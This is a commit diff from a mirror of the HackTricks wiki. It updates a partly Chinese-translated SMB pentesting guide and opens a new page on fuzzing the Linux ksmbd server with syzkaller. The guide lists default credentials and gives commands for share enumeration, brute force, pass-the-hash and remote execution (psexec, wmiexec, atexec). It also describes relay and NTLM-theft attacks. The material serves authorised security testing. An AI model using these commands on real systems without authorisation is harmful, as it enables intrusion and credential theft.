mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-smb/ksmbd-attack
This commit is contained in:
parent
a68f8ecdff
commit
6689aa1abc
@ -494,6 +494,7 @@
|
||||
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
||||
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
||||
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
|
||||
- [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
|
||||
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
||||
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
||||
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
||||
|
@ -2,45 +2,46 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Port 139**
|
||||
## **端口 139**
|
||||
|
||||
_**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
|
||||
_**网络基础输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使位于局域网 (LAN) 内的应用程序、PC 和桌面能够与网络硬件交互,并**促进数据在网络中的传输**。在 NetBIOS 网络上运行的软件应用程序的识别和定位是通过它们的 NetBIOS 名称来实现的,这些名称最多可达 16 个字符,通常与计算机名不同。当一个应用程序(作为客户端)向另一个应用程序(作为服务器)发出“调用”命令并使用 **TCP 端口 139** 时,两个应用程序之间的 NetBIOS 会话就会启动。
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
## 端口 445
|
||||
|
||||
从技术上讲,端口 139 被称为“NBT over IP”,而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络中节点之间的各种形式的通信。
|
||||
从技术上讲,端口 139 被称为 ‘NBT over IP’,而端口 445 则被标识为 ‘SMB over IP’。缩写 **SMB** 代表 ‘**Server Message Blocks**’,也称为 **Common Internet File System (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于在网络节点之间实现对文件、打印机、串口的共享访问,并促进各种形式的通信。
|
||||
|
||||
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,消除了通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139,这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
|
||||
例如,在 Windows 环境中,可以直接通过端口 445 在 TCP/IP 上运行 SMB,从而无需通过 NetBIOS over TCP/IP。相反,在其他系统上则可能使用端口 139,这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列,SMB 确保向后兼容,允许运行较新版本微软操作系统的设备与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
|
||||
Server Message Block (SMB) 协议采用客户端-服务器模型,旨在管理对文件、目录以及诸如打印机和路由器等网络资源的访问。SMB 主要用于 Windows 操作系统系列,并保持向后兼容,允许运行较新 Microsoft 操作系统的设备与运行较旧版本的设备无缝交互。此外,Samba 项目提供了一个免费软件实现,使得在 Linux 和 Unix 系统上实现 SMB 成为可能,从而促进通过 SMB 的跨平台通信。
|
||||
|
||||
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使客户端部分 **独立** 于服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
|
||||
Shares 表示本地文件系统的任意部分,可以由 SMB 服务器提供,使得对客户端可见的层次结构在一定程度上独立于服务器的实际结构。访问控制列表 (ACLs) 定义了访问权限,允许对用户权限进行细粒度控制,包括诸如 `execute`、`read` 和 `full access` 之类的属性。这些权限可以根据 shares 分配给单个用户或组,并且与服务器上设置的本地权限是分离的。
|
||||
|
||||
### IPC$ Share
|
||||
### IPC$ 共享
|
||||
|
||||
可以通过匿名空会话访问 IPC$ 共享,从而与通过命名管道暴露的服务进行交互。实用工具 `enum4linux` 对此非常有用。正确使用时,它可以获取:
|
||||
可以通过匿名 null session 获取对 IPC$ share 的访问,从而与通过命名管道暴露的服务进行交互。实用工具 `enum4linux` 对此非常有用。正确使用时,它可以获取:
|
||||
|
||||
- 操作系统信息
|
||||
- 父域的详细信息
|
||||
- 本地用户和组的汇编
|
||||
- 可用 SMB 共享的信息
|
||||
- 本地用户和组的汇总
|
||||
- 可用 SMB shares 的信息
|
||||
- 有效的系统安全策略
|
||||
|
||||
此功能对于网络管理员和安全专业人员评估网络上 SMB (服务器消息块) 服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞和确保 SMB 服务的适当安全至关重要。
|
||||
此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全状况至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到适当保护是必不可少的。
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
上述命令是如何使用 `enum4linux` 对指定的 `target_ip` 进行完整枚举的示例。
|
||||
上面的命令示例说明了如何使用 `enum4linux` 对由 `target_ip` 指定的目标执行完整的枚举。
|
||||
|
||||
## 什么是 NTLM
|
||||
|
||||
如果你不知道什么是 NTLM,或者你想知道它是如何工作的以及如何利用它,你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
|
||||
如果你不了解 NTLM,或者想知道它如何工作以及如何滥用它,你会觉得这篇关于 **NTLM** 的页面非常有趣,页面解释了 **该协议如何工作以及如何利用它:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
@ -48,13 +49,13 @@ enum4linux -a target_ip
|
||||
|
||||
## **服务器枚举**
|
||||
|
||||
### **扫描** 网络以搜索主机:
|
||||
### **Scan** 在网络中搜索主机:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB 服务器版本
|
||||
|
||||
要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未出现在其他使用的工具中,您可以:
|
||||
要查找针对 SMB 版本的潜在漏洞,重要的是要知道正在使用的版本。如果其他工具未显示此信息,你可以:
|
||||
|
||||
- 使用 **MSF** 辅助模块 `**auxiliary/scanner/smb/smb_version**`
|
||||
- 或者这个脚本:
|
||||
@ -74,26 +75,26 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **搜索漏洞**
|
||||
### **搜索 exploit**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **可能的** 凭据
|
||||
### **可能** 的凭证
|
||||
|
||||
| **用户名** | **常见密码** |
|
||||
| **用户名** | **常见密码** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(空白)_ | _(空白)_ |
|
||||
| guest | _(空白)_ |
|
||||
| Administrator, admin | _(空白)_, password, administrator, admin |
|
||||
| _(空)_ | _(空)_ |
|
||||
| guest | _(空)_ |
|
||||
| Administrator, admin | _(空)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### 暴力破解
|
||||
### Brute Force
|
||||
|
||||
- [**SMB 暴力破解**](../../generic-hacking/brute-force.md#smb)
|
||||
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
||||
|
||||
### SMB 环境信息
|
||||
|
||||
@ -119,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### 枚举用户、组和登录用户
|
||||
### 枚举用户、组和已登录用户
|
||||
|
||||
这些信息应该已经从 enum4linux 和 enum4linux-ng 收集。
|
||||
这些信息应该已经由 enum4linux 和 enum4linux-ng 收集。
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -156,13 +157,13 @@ run
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### 从 Linux 进行 GUI 连接
|
||||
### 来自 linux 的 GUI 连接
|
||||
|
||||
#### 在终端中:
|
||||
#### 在终端:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### 在文件浏览器窗口中 (nautilus, thunar, 等)
|
||||
#### 在文件管理器窗口(nautilus、thunar 等)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
@ -170,7 +171,7 @@ rpcclient-enumeration.md
|
||||
|
||||
### 列出共享文件夹
|
||||
|
||||
始终建议查看您是否可以访问任何内容,如果您没有凭据,请尝试使用 **null** **凭据/访客用户**。
|
||||
建议始终检查是否可以访问任何资源;如果你没有 credentials,请尝试使用 **null** **credentials/guest user**。
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -184,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **连接/列出共享文件夹**
|
||||
### **连接/列出 共享文件夹**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -198,9 +199,9 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **手动枚举 Windows 共享并连接到它们**
|
||||
|
||||
可能您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要查找像 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在,而您没有访问权限,或者共享根本不存在。
|
||||
目标主机可能限制了显示其共享,当你尝试列出它们时看起来似乎没有任何可连接的共享。因此值得花点时间尝试手动连接某个共享。要手动枚举共享,你可以在使用有效会话(例如 null session 或有效凭据)时留意诸如 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 之类的响应。这些响应可能表明共享存在但你没有访问权限,或者该共享根本不存在。
|
||||
|
||||
Windows 目标的常见共享名称包括
|
||||
Common share names for windows targets are
|
||||
|
||||
- C$
|
||||
- D$
|
||||
@ -211,14 +212,14 @@ Windows 目标的常见共享名称包括
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(来自 _**网络安全评估第 3 版**_ 的常见共享名称)
|
||||
(常见共享名来自 _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
您可以尝试使用以下命令连接到它们
|
||||
你可以使用以下命令尝试连接它们
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
或此脚本(使用空会话)
|
||||
或使用此脚本(使用 null session)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -240,7 +241,7 @@ done
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **从Windows枚举共享/无需第三方工具**
|
||||
### **从 Windows 枚举共享 / 无需第三方工具**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
@ -259,14 +260,14 @@ net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC 快捷方式(图形)
|
||||
MMC 管理单元(图形界面)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (图形界面),输入 `\\<ip>\` 以查看可用的非隐藏共享。
|
||||
explorer.exe (图形界面),在地址栏输入 `\\<ip>\` 查看可用的非隐藏共享。
|
||||
|
||||
### 挂载共享文件夹
|
||||
```bash
|
||||
@ -275,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **下载文件**
|
||||
|
||||
阅读前面的部分以了解如何使用凭据/Pass-the-Hash 进行连接。
|
||||
阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 建立连接。
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -290,63 +291,63 @@ smbclient //<IP>/<share>
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
命令:
|
||||
Commands:
|
||||
|
||||
- mask: 指定用于过滤目录中文件的掩码(例如,""表示所有文件)
|
||||
- recurse: 切换递归开关(默认:关闭)
|
||||
- prompt: 切换文件名提示开关(默认:开启)
|
||||
- mget: 将与掩码匹配的所有文件从主机复制到客户端机器
|
||||
- mask: 指定用于过滤目录中文件的掩码(例如 "" 表示所有文件)
|
||||
- recurse: 切换是否递归(默认:off)
|
||||
- prompt: 切换是否提示文件名(默认:on)
|
||||
- mget: 将所有与掩码匹配的文件从主机复制到客户端机器
|
||||
|
||||
(_来自smbclient的手册页_)
|
||||
(_信息来自 smbclient 的手册页_)
|
||||
|
||||
### 域共享文件夹搜索
|
||||
### Domain Shared Folders Search
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 爬虫。
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
||||
- `-M spider_plus [--share <share_name>]`
|
||||
- `--pattern txt`
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
特别有趣的共享文件是名为 **`Registry.xml`** 的文件,因为它们 **可能包含** 配置为通过组策略 **自动登录** 的用户的密码。或者 **`web.config`** 文件,因为它们包含凭据。
|
||||
从共享中特别值得关注的是名为 **`Registry.xml`** 的文件,因为它们**可能包含密码**,这些密码属于通过 **Group Policy** 配置为 **autologon** 的用户。或者 **`web.config`** 文件,因为它们包含凭证。
|
||||
|
||||
> [!TIP]
|
||||
> **SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里,您可能会 **找到** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\
|
||||
> 您应该 **检查** 其中的 **脚本**,因为您可能会 **发现** 敏感信息,例如 **密码**。
|
||||
> **SYSVOL share** 对域内所有经过身份验证的用户都是**可读的**。在其中你可能会**发现**许多不同的 batch、VBScript 和 PowerShell **脚本**。\
|
||||
> 你应该**检查**其中的**脚本**,因为你可能会**找到**诸如**密码**之类的敏感信息。
|
||||
|
||||
## 读取注册表
|
||||
|
||||
您可能能够使用一些发现的凭据 **读取注册表**。Impacket **`reg.py`** 允许您尝试:
|
||||
你可能能够使用一些已发现的凭据来**读取注册表**。Impacket **`reg.py`** 允许你尝试:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Post Exploitation
|
||||
## 后渗透
|
||||
|
||||
**Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,可能包含一些 **危险配置**:
|
||||
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
||||
|
||||
| **设置** | **描述** |
|
||||
| --------------------------- | --------------------------------------------------------------- |
|
||||
| `browseable = yes` | 允许列出当前共享中的可用共享? |
|
||||
| `read only = no` | 禁止创建和修改文件? |
|
||||
| `writable = yes` | 允许用户创建和修改文件? |
|
||||
| `guest ok = yes` | 允许在不使用密码的情况下连接到服务? |
|
||||
| `enable privileges = yes` | 尊重分配给特定 SID 的权限? |
|
||||
| `create mask = 0777` | 新创建的文件必须分配什么权限? |
|
||||
| `directory mask = 0777` | 新创建的目录必须分配什么权限? |
|
||||
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
|
||||
| `magic script = script.sh` | 脚本关闭时应执行哪个脚本? |
|
||||
| `magic output = script.out` | 魔法脚本的输出需要存储在哪里? |
|
||||
| **设置** | **描述** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | 允许列出当前可用的共享吗? |
|
||||
| `read only = no` | 禁止创建和修改文件吗? |
|
||||
| `writable = yes` | 允许用户创建和修改文件吗? |
|
||||
| `guest ok = yes` | 允许在不使用密码的情况下连接到服务吗? |
|
||||
| `enable privileges = yes` | 是否遵循分配给特定 SID 的权限? |
|
||||
| `create mask = 0777` | 新创建的文件应被赋予什么权限? |
|
||||
| `directory mask = 0777` | 新创建的目录应被赋予什么权限? |
|
||||
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
|
||||
| `magic script = script.sh` | 当脚本被关闭时应执行哪个脚本? |
|
||||
| `magic output = script.out` | magic script 的输出需要存储在哪里? |
|
||||
|
||||
命令 `smbstatus` 提供有关 **服务器** 和 **谁已连接** 的信息。
|
||||
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
## 使用 Kerberos 进行认证
|
||||
|
||||
您可以使用工具 **smbclient** 和 **rpcclient** 进行 **kerberos** 认证:
|
||||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法 **执行** 命令,其中 **wmiexec** 是 **默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
|
||||
crackmapexec 可以通过 **abusing** 任何 **mmcexec, smbexec, atexec, wmiexec** 来执行命令,其中 **wmiexec** 是 **默认** 方法。你可以使用参数 `--exec-method` 指定要使用的选项:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -379,9 +380,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
这两个选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它**执行某些操作**(**psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\
|
||||
有关 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)的**更多信息**。\
|
||||
在 **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
|
||||
两者都会 **创建一个新服务**(使用 _\pipe\svcctl_ 通过 SMB 在受害者机器上)并使用它来 **执行某些操作**(**psexec** 会 **上传** 可执行文件到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe** 并将 payload 放入参数中 --**file-less technique-**-)。\
|
||||
**更多信息** 关于 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
在 **kali** 上位于 /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -389,19 +390,19 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
使用 **参数**`-k`,您可以使用 **kerberos** 进行身份验证,而不是 **NTLM**。
|
||||
使用 **参数**`-k` 可以使用 **kerberos** 进行认证,而不是 **NTLM**
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
隐秘地执行命令 shell,而不触及磁盘或运行新服务,通过 **端口 135** 使用 DCOM。\
|
||||
在 **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
|
||||
通过 DCOM 使用 **port 135.**\ 隐蔽地执行命令 shell,既不接触磁盘也不运行新的服务。
|
||||
在 **kali** 上,它位于 /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
使用 **参数**`-k`,您可以使用 **kerberos** 进行身份验证,而不是 **NTLM**。
|
||||
使用 **参数**`-k` 可使用 **kerberos** 验证,而非 **NTLM**
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -410,8 +411,8 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
通过任务调度程序执行命令(使用 _\pipe\atsvc_ 通过 SMB)。\
|
||||
在 **kali** 中位于 /usr/share/doc/python3-impacket/examples/
|
||||
通过任务计划程序执行命令(通过 SMB 使用 _\pipe\atsvc_)。\
|
||||
在 **kali** 中它位于 /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
@ -420,44 +421,50 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **暴力破解用户凭据**
|
||||
### ksmbd 攻击面 和 SMB2/SMB3 协议 fuzzing (syzkaller)
|
||||
|
||||
**这不推荐,如果超过允许的最大尝试次数,您可能会锁定账户**
|
||||
{{#ref}}
|
||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
{{#endref}}
|
||||
|
||||
## **Bruteforce 用户凭据**
|
||||
|
||||
**不建议这样做,如果超过允许的最大尝试次数,可能会导致账号被锁定**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB 继电器攻击
|
||||
## SMB relay attack
|
||||
|
||||
此攻击使用 Responder 工具包来 **捕获内部网络上的 SMB 认证会话**,并将其 **中继** 到 **目标机器**。如果认证 **会话成功**,它将自动将您带入 **系统** **shell**。\
|
||||
[**有关此攻击的更多信息。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
This attack uses the Responder toolkit to **捕获 SMB 身份验证会话** on an internal network, and **中继** them to a **目标机器**. If the authentication **会话成功**, it will automatically drop you into a **系统** **shell**.\
|
||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
当页面尝试通过 SMB 访问某些内容时,Windows 库 URLMon.dll 会自动尝试对主机进行身份验证,例如: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
这发生在以下函数中:
|
||||
This happens with the functions:
|
||||
|
||||
- URLDownloadToFile
|
||||
- URLDownloadToCache
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
这些函数被一些浏览器和工具(如 Skype)使用。
|
||||
Which are used by some browsers and tools (like Skype)
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### 使用 MitMf 的 SMBTrap
|
||||
### SMBTrap using MitMf
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
## NTLM 盗窃
|
||||
## NTLM Theft
|
||||
|
||||
与 SMB 捕获类似,将恶意文件植入目标系统(例如通过 SMB)可以引发 SMB 认证尝试,从而允许使用 Responder 等工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB 继电器攻击](#smb-relay-attack) 中使用。
|
||||
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](#smb-relay-attack).
|
||||
|
||||
[查看: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks 自动命令
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
@ -0,0 +1,219 @@
|
||||
# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
本页抽象出使用 syzkaller 对 Linux 内核 SMB 服务器 (ksmbd) 进行驱动与模糊测试的实用技术。侧重通过配置扩展协议攻击面、构建能够串联 SMB2 操作的有状态 harness、生成语法合法的 PDUs、将变异偏向覆盖较弱的代码路径,以及利用 syzkaller 的特性(如 focus_areas 和 ANYBLOB)。原始研究列举了具体 CVE,此处强调可复用的方法论和可适配到你自己环境的具体片段。
|
||||
|
||||
目标范围:SMB2/SMB3 over TCP。Kerberos 和 RDMA 被故意排除以简化 harness。
|
||||
|
||||
---
|
||||
|
||||
## Expand ksmbd Attack Surface via Configuration
|
||||
默认的最小 ksmbd 配置会使服务器的大部分功能未被测试。启用以下特性以驱动服务器进入更多解析器/处理器并到达更深的代码路径:
|
||||
|
||||
- Global-level
|
||||
- Durable handles
|
||||
- Server multi-channel
|
||||
- SMB2 leases
|
||||
- Per-share-level
|
||||
- Oplocks (on by default)
|
||||
- VFS objects
|
||||
|
||||
